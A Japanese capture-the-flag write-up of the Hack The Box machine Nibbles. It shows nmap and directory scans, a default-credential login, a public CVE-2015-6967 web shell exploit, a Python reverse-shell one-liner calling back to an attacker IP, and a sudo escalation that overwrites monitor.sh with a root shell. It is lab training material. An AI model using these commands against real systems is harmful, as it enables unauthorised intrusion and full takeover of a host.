【HTB】Nibbles(Easy)

大まかに

  1. Nmap
  2. Dirb
  3. ブラウザーの開発者ツール
  4. Web Shell配置
  5. Reverse shell
  6. root esc

Nmap

# sudo nmap -sC -sV -O -T4 -p- -vv -oN nmap-tcp.log 10.10.10.75
  • 実行結果
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4f8ade8f80477decf150d630a187e49 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD8ArTOHWzqhwcyAZWc2CmxfLmVVTwfLZf0zhCBREGCpS2WC3NhAKQ2zefCHCU8XTC8hY9ta5ocU+p7S52OGHlaG7HuA5Xlnihl1INNsMX7gpNcfQEYnyby+hjHWPLo4++fAyO/lB8NammyA13MzvJy8pxvB9gmCJhVPaFzG5yX6Ly8OIsvVDk+qVa5eLCIua1E7WGACUlmkEGljDvzOaBdogMQZ8TGBTqNZbShnFH1WsUxBtJNRtYfeeGjztKTQqqj4WD5atU8dqV/iwmTylpE7wdHZ+38ckuYL9dmUPLh4Li2ZgdY6XniVOBGthY5a2uJ2OFp2xe1WS9KvbYjJ/tH
|   256 228fb197bf0f1708fc7e2c8fe9773a48 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPiFJd2F35NPKIQxKMHrgPzVzoNHOJtTtM+zlwVfxzvcXPFFuQrOL7X6Mi9YQF9QRVJpwtmV9KAtWltmk3qm4oc=
|   256 e6ac27a3b5a9f1123c34a55d5beb3de9 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC/RjKhT/2YPlCgFQLx+gOXhC6W3A3raTzjlXQMT8Msk
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=5/16%OT=22%CT=1%CU=33679%PV=Y%DS=2%DC=I%G=Y%TM=64630A7
OS:4%P=x86_64-pc-linux-gnu)SEQ(SP=F4%GCD=1%ISR=10E%TI=Z%CI=I%II=I%TS=8)SEQ(
OS:SP=F3%GCD=1%ISR=10E%TI=Z%CI=I%TS=8)SEQ(SP=FF%GCD=1%ISR=10C%TI=Z%TS=8)OPS
OS:(O1=M53AST11NW7%O2=M53AST11NW7%O3=M53ANNT11NW7%O4=M53AST11NW7%O5=M53AST1
OS:1NW7%O6=M53AST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN
OS:(R=Y%DF=Y%T=40%W=7210%O=M53ANNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)

Dirb

# feroxbuster -k -u http://10.10.10.75/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -o ferox_medium.log

特に見つからなかった。

ブラウザーの開発者ツール

  • /nibbleblogを発見

  • アクセスしてみる。 URLからCMSっぽいな~とこの時思った。

  • wordpressみたいなadminページみたいなのがないかを探した。 /adminで調べたところWebページを構成しているディレクトリを見つけた。

  • adminで検索をかけた際にディレクトリが表示されてしまうということは.phpまでつけなければいけないのかと思いやってみたところ、その通りだった。

  • hydraで認証バイパスを試したところ数回施行された後に接続が遮断された。 ということは手動で行わなければならないということか。と思い、デフォルトクレデンシャルをGoogleで調べた。

  • 以下のGitに記載のある資格情報で試したところうまくいった。 ※その前にテキストで一通りのパスワードリストを使いやってみたがダメだった。

github.com

  • CMSログイン これを行う前に今回使用されているCMSでExploitを探していたがバージョンがわからずできなかった。 なのでここでCMSのバージョン特定をしようと試みた。

  • 以下のURLでバージョンの特定ができた。

http://10.10.10.75/nibbleblog/admin.php?controller=settings&action=general

Web shell配置

以下のGitのリポジトリにあるpythonコードで行った。

github.com

  • エクスプロイトをダウンロードする。
# git clone https://github.com/0xkasra/CVE-2015-6967.git
  • エクスプロイトを実行
# python exploit.py http://10.10.10.75 admin nibbles

Reverse shell

以下の様に自分のマシンではnc -lnvp 4444でリッスンし、Web shellでは以下のコマンド入力する。

# export RHOST="10.10.16.10";export RPORT=4444;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'

root Esc

# sudo -l
▼実行結果
<ml/nibbleblog/content/private/plugins/my_image$ sudo -l                     
Matching Defaults entries for nibbler on Nibbles:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nibbler may run the following commands on Nibbles:
    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
  • 以下のコマンドでrootへ
# mkdir -p /home/nibbler/personal/stuff/
# cd /home/nibbler/personal/stuff/
# echo '/bin/bash -p' > ./monitor.sh
# chmod +x ./monitor.sh
# sudo ./monitor.sh

以上